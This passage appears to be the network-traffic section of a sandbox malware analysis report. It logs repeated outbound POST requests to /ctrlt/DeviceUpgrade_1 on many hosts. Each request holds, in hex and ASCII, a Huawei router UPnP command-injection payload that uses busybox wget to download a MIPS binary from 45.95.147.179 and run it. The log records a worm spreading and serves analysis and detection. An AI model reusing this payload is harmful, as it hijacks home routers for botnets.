2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:11.228591919 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:13.024616957 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:16.620671988 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:23.804660082 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:38.156652927 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:06.892735958 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.20	39390	94.123.186.65	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:09.975095987 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.20	43832	156.241.12.99	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:13.589116096 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.20	60452	37.34.0.40	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:17.196518898 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 